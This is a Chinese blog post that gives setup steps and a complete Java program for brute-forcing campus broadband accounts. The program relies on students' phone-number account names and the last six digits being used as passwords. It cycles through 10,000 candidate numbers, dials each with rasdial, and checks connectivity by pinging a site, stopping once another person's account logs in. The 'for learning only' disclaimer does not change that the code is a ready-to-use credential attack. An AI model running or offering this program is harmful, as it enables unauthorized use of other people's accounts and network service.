学习新知识,争做新青年
前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习!
准备工作:电脑一台,把校园网的宽带水晶头插在电脑上:
- win+R输入Rasphone
- 点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。
- 执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader;//暴力破解宽带 public class Main {static String phoneFirst = "1322395"; //手机号的前七位static String yourName = "xin"; //你起的宽带连接名/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** ADSL连接宽带*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {System.out.println("正在建立连接.");String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass;String tempCmd = executeCmd(adslCmd);// 判断是否连接成功if (tempCmd.indexOf("已连接") > 0) {System.out.println("已成功建立连接.");return true;} else {System.err.println(tempCmd);System.err.println("建立连接失败");return false;}}/*** 断开ADSL*/public static boolean cutAdsl(String adslTitle) throws Exception {String cutAdsl = "rasdial " + adslTitle + " /disconnect";String result = executeCmd(cutAdsl);if (result.indexOf("没有连接") != -1) {System.err.println(adslTitle + "连接不存在!");return false;} else {System.out.println("连接已断开");return true;}}/*** 测试网络是否连接*/public static boolean isConnect() {boolean connect = false;Runtime runtime = Runtime.getRuntime();Process process;try {process = runtime.exec("ping " + "www.baidu.com");InputStream is = process.getInputStream();InputStreamReader isr = new InputStreamReader(is);BufferedReader br = new BufferedReader(isr);String line = null;StringBuffer sb = new StringBuffer();while ((line = br.readLine()) != null) {sb.append(line);}System.out.println("返回值为:" + sb);is.close();isr.close();br.close();if (null != sb && !sb.toString().equals("")) {if (sb.toString().indexOf("TTL") > 0) {// 网络畅通connect = true;} else {// 网络不畅通connect = false;}}} catch (IOException e) {e.printStackTrace();}return connect;}//测试代码public static void main(String[] args) throws InterruptedException,Exception {for (int i = 0; i <= 9999; i++) {boolean connect = isConnect();String str = String.format("%04d", i);//获得长度为4的数字String username = phoneFirst + str;//宽带账号System.out.println("宽带账户:" + username);String password = username.substring(5);if (i % 3 == 0) {Thread.sleep(200);//防止拨号过于频繁}if (!connect) {//没有拨号成功,则取消上次拨号executeCmd("Rasdial " + yourName + " /DISCONNECT");System.out.println("无网络,正在重新拨号");connAdsl(yourName, username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}} }
如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!
学习新知识,争做新青年相关推荐
- 第一性原理系列:创新是新知识的大规模交付
资本主义引擎开动,世界因此不同.经济学家一直在解释这种变化,并形成理论.亚当斯密发现了看不见的手,李嘉图了发现比较优势,熊彼特发现了颠覆式创新. 熊彼特详细说明了定义企业家行为的五种创新类型: (1) ...
- 新工科的新视角:面向可持续竞争力的敏捷教学体系
https://mp.weixin.qq.com/s/r3ZZvzILZGi637oASP387g 新工科的新视角:面向可持续竞争力的敏捷教学体系 原创: 徐晓飞 李廉 等 中国大学教学 今天 摘 ...
- 分享:个人是怎么学习新知识的
为什么80%的码农都做不了架构师?>>> 挺多童鞋问我是怎么学习新知识的,干脆写篇文章总结一下,希望对大家有所帮助.对照书.技术博客.极客时间等学习的方式我就不说了. 一.早期 ...
- 知识图谱与深度学习(新时代·技术新未来)
作者:刘知远,韩旭,孙茂松 出版社:清华大学出版社 品牌:清华大学出版社 出版时间:2020-05-01 知识图谱与深度学习(新时代·技术新未来)
- 分享:个人是怎么学习新知识的--周立
本文转载,原文地址: 分享:个人是怎么学习新知识的 挺多童鞋问我是怎么学习新知识的,干脆写篇文章总结一下,希望对大家有所帮助.对照书.技术博客.极客时间等学习的方式我就不说了. 一.早期 在1 ...
- 写给大忙人的建议:如何优雅地速成代码?(教你如何在忙碌中学习新知识)
目录 背景引入 如何学习 基础薄弱 有编程基础 结束语 背景引入 日常中,无论是忙碌的上班族还是正在学编程还在入门的学生,就都被日常的事情所挤压到不剩下自己的私人时间. 大学有完不成的课程设计.实训报 ...
- 不要用碎片化的时间去学习新知识!除非它是简单的
不要用碎片化的时间去学习新知识! 不要用碎片化的时间去学习新知识! 不要用碎片化的时间去学习新知识! 重要的事情说三遍! 1.碎片化时间的陷阱 鼓吹用碎片化时间去学习的人,会告诉你:"我们一 ...
- 西蒙学习法 | 一张思维导图让你6个月学会一门新知识
编辑by粢饭团 很多同学会在面对一门新知识时产生"学不会"的担忧,别怕!今天小编就用一张思维导图来介绍一种学习方法--西蒙学习法.西蒙学习法是世界五大学习方法之一,使用这个方法可以 ...
- 费曼学习法:快速掌握新知识!
首先,讲一个关于学习法则的小故事. 马克思·普朗克在1918年荣获诺贝尔物理学奖之后,他就在全德国作巡回报告. 不管被邀请到哪里,他就会对新的量子力学演讲一番. 因此,慢慢他的司机也对他的报告烂熟于心 ...
- 程序员该如何学习新知识
想必大家都不是张无忌,人家三十年才可以练成的乾坤大挪移,张无忌大侠两个时辰就可以搞定,作为一个普通的程序员,经常遇到很多新技术和新知识,it界就是这样,日新月异, 那么我们如何学习一门技术和新知识呢? ...
最新文章
- mysql和sqlserver共存_mysql 和sqlserver的 多行合并成一行
- 301重定向的好处:
- html盒子高度自动收缩,CSS如何解决背景图随父盒子高度变化而拉伸或收缩的问题...
- [裴礼文数学分析中的典型问题与方法习题参考解答]5.1.27
- 索引的使用—— 验证索引提升查询效率 || 避免索引失效 —— 全值匹配 /最左前缀法则/范围查询右边的列,不能使用索引/不要在索引列上进行运算操作/字符串不加单引号,造成索引失效
- PyYAML——yaml.load()警告【YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated】解决方案
- Java基础知识强化之网络编程笔记25:Android网络通信之 Future接口介绍(Java程序执行超时)...
- CentOS 6.5 安装配置Tomcat7服务器
- python类self_Python类中的self到底是干啥的
- activiti 设置可选处理人_新品速递|高端系列!慧明DF系列线性相位处理专业音箱处理器...
- HTML5 Video DOM 入门体验
- Choerodon 的微服务之路(二):Choerodon 的微服务网关
- Houdini技术体系大纲
- Android实现计算器布局(表格布局)
- 2020华为软件精英挑战赛热身赛总结篇
- dda算法_C和C ++中的DDA线图绘制算法
- GoldenGate Enterprise Manager Plug-In(12.1.0.3.0) 部署文档
- 一张让android死机图片,导致安卓手机死机的照片拍摄者表示这张照片是无意之举...
- windows 搜索文件内容 txt 、excel 、word、c、java 、压缩文件 等文件内容
- 电脑我的世界服务器怎么按键显示,我的世界功能按键大全 操作按键全介绍